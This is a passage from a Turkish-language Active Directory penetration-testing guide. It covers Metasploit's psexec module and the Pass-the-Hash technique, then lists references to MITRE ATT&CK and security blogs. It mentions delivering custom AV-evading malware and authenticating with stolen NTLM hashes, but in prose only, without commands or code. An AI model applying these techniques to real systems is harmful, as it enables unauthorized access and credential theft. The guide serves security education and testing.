Metasploit içerisinde bulunan exploit/windows/smb/psexec modülü ile yukarıda PsExec modülü gibi 
oturum alabiliriz. Metasploit içerisinde payload’I generic/custom olarak belirtip kendi hazırlamış 
olduğumuz ve AV’ler tarafından tespit edilemeyin bir zararlı yazılım vererek istediğimiz dosyayı 
yükleyebiliriz. 
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13.4. Pass The Hash 
 
Pass-the-Hash (PtH), saldırganların çeşitli saldırılar (secretsdump, mimikatz, kiwi vb.) şekilde elde etmiş 
olduğu NTLM hashlerini BruteForce ve Dictionary Attack gibi saldırılara gerek duymadan, yani hash’i 
kırmadan direkt olarak hash ile oturum açmasını sağlayan bir saldırıdır. 
 
PsExec, CrackMapExec gibi araçlar kullanarak PtH metodu ile oturum alabilir/komut çalıştırabiliriz.  
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14. Kaynakça 
 
https://attack.mitre.org/techniques/T1557/001/ 
 
https://attack.mitre.org/techniques/T1003/ 
 
https://attack.mitre.org/techniques/T1558/003/ 
 
https://attack.mitre.org/techniques/T1558/004/ 
 
https://attack.mitre.org/techniques/T1021/002/  
 
https://attack.mitre.org/techniques/T1003/002/ 
 
https://attack.mitre.org/techniques/T1003/003/ 
 
https://en.hackndo.com/ntlm-relay/#ntlm-relay 
 
https://www.tarlogic.com/en/blog/how-kerberos-works/ 
 
https://www.tarlogic.com/en/blog/how-to-attack-kerberos/ 
 
https://hausec.com/2019/03/05/penetration-testing-active-directory-part-i/ 
 
https://hausec.com/2019/03/12/penetration-testing-active-directory-part-ii/ 
 
https://www.scip.ch/en/?labs.20181011 
 
https://luemmelsec.github.io/Relaying-101/ 
 
https://en.hackndo.com/pass-the-hash/#protocol-ntlm 
 
https://ernw.de/download/BloodHoundWorkshop/ERNW_DogWhispererHandbook.pdf 
 
https://adsecurity.org/?p=2398 
  
https://engindemirbilek.github.io/smb-relay-saldirilari-hash-kirma-yonlendir.html 
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